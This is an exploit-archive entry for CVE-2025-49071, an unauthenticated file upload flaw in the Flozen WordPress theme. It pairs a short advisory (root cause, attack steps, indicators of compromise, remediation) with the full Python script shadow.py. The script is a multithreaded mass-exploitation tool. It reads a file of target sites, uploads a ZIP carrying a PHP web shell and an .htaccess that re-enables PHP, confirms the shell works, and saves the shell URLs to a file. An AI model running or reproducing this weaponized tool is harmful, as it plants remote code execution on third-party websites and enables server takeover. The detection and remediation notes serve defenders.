PoC Archive PoC Archive
Critical CVE-2025-49071 unpatched

Flozen WordPress Theme Unauthenticated Arbitrary File Upload (CVE-2025-49071)

by xShadow-Here (Friska); original vulnerability discovered by Phat RiO - BlueRock (Wordfence) · 2026-07-06

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherxShadow-Here (Friska); original vulnerability discovered by Phat RiO - BlueRock (Wordfence)
CVE / AdvisoryCVE-2025-49071
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD/Wordfence)
StatusWeaponized
Tagswordpress, flozen-theme, arbitrary-file-upload, unauthenticated, webshell, zip-upload, rce, cwe-434, python
RelatedN/A

Affected Target

FieldValue
Software / SystemFlozen Theme for WordPress
Versions Affected< 1.5.1
Language / PlatformPython 3 PoC targeting a PHP/WordPress site
Authentication RequiredNo
Network Access RequiredYes (HTTP to target WordPress site)

Summary

The Flozen Theme for WordPress (versions up to and including 1.5.1) registers a wp_handle_upload-routed AJAX action (backed by the theme’s flozen_add_new_custom_font() function) that accepts a ZIP file upload without checking authentication or validating its contents. The theme automatically extracts the uploaded ZIP into wp-content/uploads/nasa-custom-fonts/, so an attacker can package a PHP web shell inside a ZIP disguised as a “custom font” package. Because .htaccess in the payload allows PHP execution and the extracted files land in a public, web-accessible directory, this results in full unauthenticated remote code execution.


Vulnerability Details

Root Cause

The theme’s custom-font upload handler (flozen_add_new_custom_font()) is reachable via wp-admin/admin-ajax.php with action=wp_handle_upload and performs no capability/auth check and no validation that the uploaded ZIP contains only font files. It extracts the archive verbatim into a predictable, web-accessible path. The PoC’s payload (shadow.zip) contains:

  • index.php — a minimal web shell that accepts a file upload via $_FILES['f'] and calls move_uploaded_file(), printing a <button>-Shadow-Here-</button> marker used by the scanner to confirm success
  • .htaccess — explicitly re-enables PHP execution in the extraction directory (Allow from all for \.php$), defeating any Apache-level PHP-execution restriction that might otherwise apply to the uploads folder
  • index.phtml, index.phar — duplicate shell payloads with alternate executable extensions as a fallback in case .php execution is blocked

The exploit script (shadow.py) simply POSTs this ZIP:

1
2
3
4
5
6
7
8
exploit_url = working_url.rstrip('/') + "/wp-admin/admin-ajax.php"
files = {
    'zip_packet_font': (self.zip_name, zip_data, 'application/zip')
}
data = {
    'action': 'wp_handle_upload'
}
response = requests.post(exploit_url, files=files, data=data, headers=headers, verify=False, timeout=30)

Attack Vector

  1. Probe the target for the Flozen theme by requesting wp-content/themes/flozen-theme/style.css and extracting the Version: header; sites below 1.5.1 are flagged vulnerable.
  2. POST the malicious shadow.zip (containing the PHP web shell and permissive .htaccess) to wp-admin/admin-ajax.php with action=wp_handle_upload and the file field zip_packet_font — no authentication cookie or nonce is required.
  3. The theme’s handler extracts the ZIP into wp-content/uploads/nasa-custom-fonts/shadow/, placing index.php (the web shell) alongside a .htaccess that guarantees PHP execution is allowed.
  4. Verify success by requesting wp-content/uploads/nasa-custom-fonts/shadow/index.php and checking for the <button>-Shadow-Here-</button> marker string.
  5. Use the deployed web shell’s file-upload form ($_FILES['f']) to upload further tooling or a more capable shell, achieving full remote code execution.

Impact

Unauthenticated remote code execution on any WordPress site running the vulnerable Flozen theme — an attacker can plant and execute arbitrary PHP, then pivot to full server compromise.


Environment / Lab Setup

Target:   WordPress site with Flozen Theme < 1.5.1 active
Attacker: Python 3 + requests, colorama; shadow.zip payload and a text file of target URLs

Proof of Concept

PoC Script

See shadow.py and shadow.zip in this folder.

1
python3 shadow.py

Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected directories/files under wp-content/uploads/nasa-custom-fonts/
  • A .htaccess file granting .php execution inside the uploads tree (normally blocked by default WordPress hardening)
  • Files containing the string -Shadow-Here- or an unexplained $_FILES['f'] upload form
  • Unauthenticated POSTs to admin-ajax.php?action=wp_handle_upload with ZIP attachments

Remediation

ActionDetail
Primary fixUpgrade the Flozen Theme to version 1.5.1 or later, which is expected to add authentication/capability checks and file-type validation to the custom-font upload handler
Interim mitigationDisable or remove the Flozen theme’s custom-font upload feature pending patch; block PHP execution in wp-content/uploads/ at the web server level; monitor/alert on ZIP uploads to admin-ajax.php

References


Notes

Mirrored from https://github.com/xShadow-Here/CVE-2025-49071 on 2026-07-06. shadow.py detects the vulnerable theme version and uploads a minimal PHP webshell matching the file-upload CVE, with no hidden extra payloads — the ZIP contains only the expected shell/.htaccess files consistent with the documented vulnerability.

shadow.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
#!/usr/bin/env python3
"""SHADOW-HERE"""

import requests
import threading
import queue
import ssl
import urllib3
import sys
import re
import os
import time
from colorama import Fore, Style, init

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
ssl._create_default_https_context = ssl._create_unverified_context
init(autoreset=True)

class FlozenExploitTool:
    def __init__(self, threads=10):
        self.threads = threads
        self.target_queue = queue.Queue()
        self.exploited = 0
        self.scanned = 0
        self.lock = threading.Lock()
        
        self.shell_path = "/wp-content/uploads/nasa-custom-fonts/shadow/index.php"
        self.shell_check_string = "<button>-Shadow-Here-</button>"
        self.zip_name = "shadow.zip"

    def check_zip_exists(self):
        if not os.path.exists(self.zip_name):
            print(f"{Fore.RED}[!] ERROR: {self.zip_name} tidak ditemukan!")
            return False
        return True

    def extract_version(self, css_content):
        """Extract version from CSS"""
        try:
            match = re.search(r"Version:\s*([0-9.]+)", css_content, re.IGNORECASE)
            if match:
                return match.group(1).strip()
            return None
        except:
            return None

    def check_version_vuln(self, version):
        try:
            version_parts = list(map(int, version.split('.')))
            vulnerable = (version_parts[0] < 1 or 
                         (version_parts[0] == 1 and version_parts[1] < 5) or
                         (version_parts[0] == 1 and version_parts[1] == 5 and version_parts[2] < 1))
            return vulnerable
        except:
            return False

    def get_url_variations(self, url):
        """Generate semua kemungkinan URL variations"""
        variations = []
        
        url = url.strip()
        
        if url.startswith('http://') or url.startswith('https://'):
            if url.startswith('http://'):
                variations.append(url)
                variations.append(url.replace('http://', 'https://', 1))
            else:
                variations.append(url)
                variations.append(url.replace('https://', 'http://', 1))
            
            if '://www.' in url:
                variations.append(url.replace('://www.', '://', 1))
            else:
                variations.append(url.replace('://', '://www.', 1))
        else:
            domain = url.strip('/')
            variations = [
                f"https://{domain}",
                f"http://{domain}",
                f"https://www.{domain}",
                f"http://www.{domain}"
            ]
        
        return list(dict.fromkeys(variations))

    def check_theme_exists(self, url):
        """Coba semua URL variations untuk cari theme"""
        url_variations = self.get_url_variations(url)
        
        for base_url in url_variations:
            css_url = base_url.rstrip('/') + "/wp-content/themes/flozen-theme/style.css"
            
            try:
                headers = {
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                    "Accept": "text/css,*/*;q=0.1"
                }
                
                response = requests.get(
                    css_url, 
                    headers=headers,
                    verify=False, 
                    timeout=10,
                    allow_redirects=True
                )
                
                if response.status_code == 200:
                    content = response.text
                    
                    if 'Theme Name:' in content or 'flozen' in content.lower():
                        version = self.extract_version(content)
                        if version:
                            return version, base_url
                        else:
                            return "unknown", base_url
            
            except:
                continue
        
        return None, None

    def exploit_site(self, url):
        try:
            version, working_url = self.check_theme_exists(url)
            
            if not version:
                print(f"{Fore.YELLOW}[!] Gak Ada Bro Themes nya!: {url}")
                return False
            
            if not working_url:
                working_url = url
            
            if version == "unknown":
                print(f"{Fore.YELLOW}[!] Theme found but version unknown: {working_url}")
                print(f"{Fore.GREEN}[+] Gas Exploit Cuk! {working_url} 🚩💉")
            elif not self.check_version_vuln(version):
                print(f"{Fore.RED}[-] Gak Rentan Cuk!: {working_url} | Version: {version}")
                return False
            else:
                print(f"{Fore.GREEN}[+] Gas Exploit Cuk! {working_url} | Version: {version} 🚩💉")
            
            exploit_url = working_url.rstrip('/') + "/wp-admin/admin-ajax.php"
            
            with open(self.zip_name, 'rb') as f:
                zip_data = f.read()
            
            files = {
                'zip_packet_font': (self.zip_name, zip_data, 'application/zip')
            }
            data = {
                'action': 'wp_handle_upload'
            }
            
            headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                "Accept": "*/*"
            }
            
            try:
                response = requests.post(
                    exploit_url,
                    files=files,
                    data=data,
                    headers=headers,
                    verify=False,
                    timeout=30
                )
                print(f"{Fore.CYAN}[*] Exploit sent...")
            except requests.exceptions.ConnectionError:
                print(f"{Fore.RED}[-] Connection failed: {working_url}")
                return False
            except:
                print(f"{Fore.RED}[-] Failed to send exploit: {working_url}")
                return False
            
            time.sleep(3)
            
            shell_found, status_code = self.check_shell(working_url)
            
            if shell_found:
                with self.lock:
                    self.exploited += 1
                return True
            else:
                print(f"{Fore.RED}[-] Shell not found: {working_url} | Status: {status_code}")
                return False
                
        except Exception as e:
            print(f"{Fore.RED}[-] Error for {url}: {str(e)}")
            return False

    def check_shell(self, url):
        try:
            url_variations = self.get_url_variations(url)
            last_status = "N/A"
            
            for base_url in url_variations:
                shell_url = base_url.rstrip('/') + self.shell_path
                
                try:
                    headers = {
                        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
                    }
                    
                    response = requests.get(
                        shell_url, 
                        headers=headers,
                        verify=False, 
                        timeout=10
                    )
                    
                    last_status = response.status_code
                    
                    if response.status_code == 200 and self.shell_check_string in response.text:
                        print(f"{Fore.GREEN}[+] Shell Ada Bro! {shell_url}")
                        
                        with open("shell.txt", "a") as f:
                            f.write(f"{shell_url}\n")
                        return True, last_status
                        
                except requests.exceptions.ConnectionError:
                    last_status = "Connection Error"
                    continue
                except:
                    last_status = "Error"
                    continue
            
            return False, last_status
            
        except:
            return False, "Check Error"

    def process_site(self):
        while True:
            try:
                site = self.target_queue.get(timeout=2)
                site = site.strip()
                
                if not site:
                    self.target_queue.task_done()
                    continue
                
                self.exploit_site(site)
                self.target_queue.task_done()
                
            except queue.Empty:
                break
            except:
                self.target_queue.task_done()

    def load_targets(self, filename):
        try:
            with open(filename, 'r') as f:
                sites = [line.strip() for line in f if line.strip()]
            return sites
        except:
            print(f"{Fore.RED}[!] Error loading file")
            sys.exit(1)

    def banner(self):
        banner = f"""
{Fore.CYAN}
╔══════════════════════════════════════════════════════════╗
║    CVE-2025-49071 - Flozen Theme Exploit Tool v2.0      ║
║                 Author: Friska @ Shadow                 ║
╚══════════════════════════════════════════════════════════╝
{Style.RESET_ALL}
        """
        print(banner)

    def run(self):
        self.banner()
        
        if not self.check_zip_exists():
            return
        
        try:
            filename = input(f"{Fore.YELLOW}[?] Enter filename with targets: {Style.RESET_ALL}").strip()
            
            while True:
                try:
                    threads = int(input(f"{Fore.YELLOW}[?] Enter threads (5-50): {Style.RESET_ALL}").strip())
                    if 5 <= threads <= 50:
                        break
                    print(f"{Fore.RED}[!] Threads must be between 5-50")
                except:
                    print(f"{Fore.RED}[!] Enter a valid number")
            
            self.threads = threads
            
            print(f"{Fore.CYAN}[*] Loading targets...")
            sites = self.load_targets(filename)
            total = len(sites)
            print(f"{Fore.GREEN}[+] Loaded {total} targets")
            
            if os.path.exists("shell.txt"):
                os.remove("shell.txt")
            
            for site in sites:
                self.target_queue.put(site)
            
            print(f"{Fore.CYAN}[*] Starting {self.threads} threads...")
            workers = []
            for i in range(min(self.threads, total)):
                t = threading.Thread(target=self.process_site)
                t.daemon = True
                t.start()
                workers.append(t)
            
            self.target_queue.join()
            
            print(f"\n{Fore.CYAN}{'='*60}")
            print(f"{Fore.GREEN}[+] COMPLETE!")
            print(f"{Fore.GREEN}[*] Shells uploaded: {self.exploited}")
            
            if os.path.exists("shell.txt"):
                print(f"{Fore.GREEN}[*] Shells saved in: shell.txt")
            
            print(f"{Fore.CYAN}{'='*60}")
            
            if self.exploited > 0:
                print(f"\n{Fore.RED}🚩💉 {self.exploited} SHELLS READY!")
                
        except KeyboardInterrupt:
            print(f"\n{Fore.RED}[!] Interrupted")
            sys.exit(0)
        except Exception as e:
            print(f"\n{Fore.RED}[!] Error: {str(e)}")
            sys.exit(1)

if __name__ == "__main__":
    tool = FlozenExploitTool()
    tool.run()